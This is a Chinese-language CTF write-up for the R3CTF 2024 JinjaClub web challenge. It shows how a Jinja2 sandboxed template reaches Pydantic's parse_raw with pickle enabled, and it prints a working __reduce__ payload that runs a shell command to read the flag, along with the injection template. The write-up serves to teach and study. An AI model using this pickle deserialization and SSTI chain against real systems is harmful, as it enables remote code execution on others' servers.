R3CTF 2024 Web 挑战赛 JinjaClub 解题报告
本文档记录了对 R3CTF 2024 网络安全竞赛中 JinjaClub 挑战赛的解题过程。该挑战赛涉及服务器端模板注入(SSTI)漏洞,并利用了 Pydantic 库的一个不安全的反序列化功能。
挑战赛提供了一个基于 FastAPI 的 Web 应用,其源代码如下:
from jinja2.sandbox import SandboxedEnvironment
from jinja2.exceptions import UndefinedError
from fastapi import FastAPI, Form
from pydantic import BaseModel
from typing_extensions import Annotated
from typing import Union
fastapi_app = FastAPI()
class UserProfile(BaseModel):
name: str
description: Union[str, None] = None
age: int
class TemplateSource(BaseModel):
source: str
@fastapi_app.get("/", response_class=HTMLResponse)
def index():
return 'TEST_OUTPUT'
@fastapi_app.get("/preview", response_class=HTMLResponse)
def preview_page():
return """
<body>
<div class="container">
<h1>Mailer Preview</h1>
<p>Customize your ninja message:</p>
<form id="form" onsubmit="handleSubmit(event);">
<label for="name">Name variable:</label>
<input id="name" name="name" value="John" />
<label for="description">Description variable:</label>
<input id="description" name="description" placeholder="Describe yourself here..." />
<label for="age">Age variable:</label>
<input id="age" name="age" type="number" value="18" />
<label for="template">Template:</label>
<textarea id="template" name="template" rows="10">Hello {{user.name}}, are you older than {{user.age}}?</textarea>
<button type="submit">Preview</button>
</form>
<div id="output">Preview will appear here...</div>
</div>
<script>
function handleSubmit(event) {
event.preventDefault();
const data = new FormData(event.target);
const body = {user: {}, template: {source: data.get('template')}};
body.user.name = data.get('name');
body.user.description = data.get('description');
body.user.age = data.get('age');
fetch('/preview', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body)
})
.then(response => response.text())
.then(html => document.getElementById('output').innerHTML = html)
.catch(error => console.error('Error:', error));
}
</script>
</body>
"""
@fastapi_app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: TemplateSource, user: UserProfile):
env = SandboxedEnvironment()
try:
preview = env.from_string(template.source).render(user=user)
return preview
except UndefinedError as e:
return e
乍一看,应用使用了 SandboxedEnvironment 来限制 Jinja2 模板的执行,这通常可以防止 SSTI 漏洞。然而,深入分析后,发现了一个关键的突破口。
在审查代码时,注意到 UserProfile 类继承自 Pydantic 的 BaseModel。Pydantic 提供了多种数据解析方法,其中 parse_raw 方法允许从原始字节或字符串反序列化数据。一个重要的参数是 allow_pickle,它控制是否允许使用 pickle 协议进行反序列化。
通过查阅 Pydantic 的文档和源码,发现 parse_raw 方法(及其相关的 parse_file)存在一个已弃用的警告,明确指出使用 pickle 可能带来安全风险。关键在于,当 proto="pickle" 时,该方法会直接调用 pickle.loads(),从而允许执行任意 Python 对象。
因此,攻击者可以利用这一点,通过构造一个恶意的 pickle 负载来执行任意代码。以下是一个用于获取 flag 的示例 pickle 脚本:
import os
import pickle
import base64
class MaliciousUser:
def __init__(self, username, password):
self.username = username
self.password = password
def __reduce__(self):
# 构造一个命令来获取 flag 并通过 base64 编码发送到攻击者的 VPS
command = "__import__('os').popen('cat /flag.txt').read().encode('utf-8')"
return (eval, (command,))
# 创建恶意对象并序列化
malicious_user = MaliciousUser("attacker", "password")
pickled_data = pickle.dumps(malicious_user)
hex_payload = pickled_data.hex()
print(hex_payload)
将生成的十六进制字符串作为输入,构造如下的 Jinja2 模板:
{{user.parse_raw("".encode("utf-8").fromhex("YOUR_HEX_PAYLOAD_HERE"), proto="pickle", allow_pickle=True)}}
当该模板被提交到 /preview 端点时,Pydantic 会处理 pickle 负载,导致恶意代码在服务器上执行,从而获取 flag。